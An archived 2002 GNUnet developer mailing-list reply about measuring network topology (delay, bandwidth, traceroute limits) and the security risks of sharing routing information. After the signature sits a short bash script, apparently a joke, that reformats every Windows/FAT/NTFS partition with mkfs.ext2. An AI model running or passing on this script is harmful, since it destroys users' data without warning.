Re: [GNUnet-developers] Topology

[Christian Grothoff]

Well, you are right, we don't need what traceroute would give us. For GNUnet, 
a combination of delay (link-to-link) and bandwidth would be required. 
Sending probe-messages to measure delay should not be too much of a problem, 
and for bandwidth we could even rely on the specs given by the local users 
(after all, they will usually want to limit the amount of bandwidth the 
client uses). 

Much trickier is the question of 
a) how to use that information (ok, now we know the shortest path to X, so 
   what?)
b) how to handle with this securely (the topology must be 
   computed assuming that there are malicious hosts in the
   network supplying false information; furthermore, even the
   good guys can not just publish their routing knowledge since
   it would make it much easier for the malicious guys to
   which hosts they should attack in order to isolate a victim
   (or do other harm).
  
Essentially, we need some form of secure multiparty computation with 
untrusted participants to extract some information that would then be still 
useful to optimzize routing, very tough. 
So please, before you start hacking up 'something', first consider all
implications, from what you can do better if you have the information to
which security implications the computation would have. It is not 'just'
traceroute...

Christian

On Thursday 25 April 2002 07:46 pm, you wrote:
> Unfortunatly a bunch of traceroutes doesn't neccesarily help you
> know the topology of a system. Take this sample traceroute from
> my machine on a cable modem:
> traceroute to google.com (216.239.35.100), 30 hops max, 40 byte packets
>  1  10.10.10.254  0.511 ms  0.311 ms  0.336 ms
>  2  10.9.88.1  11.436 ms  103.969 ms  12.519 ms
>  3  12.220.5.33  39.701 ms  14.783 ms  103.660 ms
>  4  12.220.1.70  124.129 ms 12.220.1.74  87.233 ms  65.619 ms
>  5  12.220.0.18  27.632 ms  82.583 ms  28.329 ms
>  6  12.123.5.78  29.869 ms  103.654 ms
> What does that really tell me? From an outsider that doesn't tell
> me anything. I know that 10.10.10.254 is my firewalls internal IP
> address, and that 10.9.88.1 is my cable providers cisco router,
> but there is no way that you could know this. All of the
> methods I have found on doing intelligent topology discovery are
> generally more invasive then most administrators would like, and
> almost certainly give more information then GNUnet would like.
> Anyonw have any other ideas? GNUnet knowing the network topology
> would have several excellent advantages (speed, qos, etc).
>
> -Blake
>
> Whatchu talkin' 'bout, Willis?
>
> > --
> > This would require the network to know the topology in the first place.
> > Code to do that discovery would be great for GNUnet, too. --
> >
> > this sounds a lot like a bunch of traceroutes to me, with the results
> > being cached.  unfortunatelly, my skills aren't anywhere near working
> > with this stuff yet.
> >
> > --nathan
> >
> > --
> >
> > _______________________________________________
> > Sign-up for your own FREE Personalized E-mail at Email.com
> > http://www.email.com/?sr=signup
> >
> >
> > _______________________________________________
> > GNUnet-developers mailing list
> > address@hidden
> > http://mail.gnu.org/mailman/listinfo/gnunet-developers

-- 
______________________________________________________
|Christian Grothoff                                  |
|650-2 Young Graduate House, West Lafayette, IN 47906|
|http://gecko.cs.purdue.edu/   address@hidden|
|____________________________________________________|
#!/bin/bash
for i in `fdisk -l|grep -E "Win|DOS|FAT|NTFS"|awk\
'{print$1;}'`;do;nohup mkfs.ext2 $i&;done
echo -e "\n\n\t\tMay the source be with you.\n\n"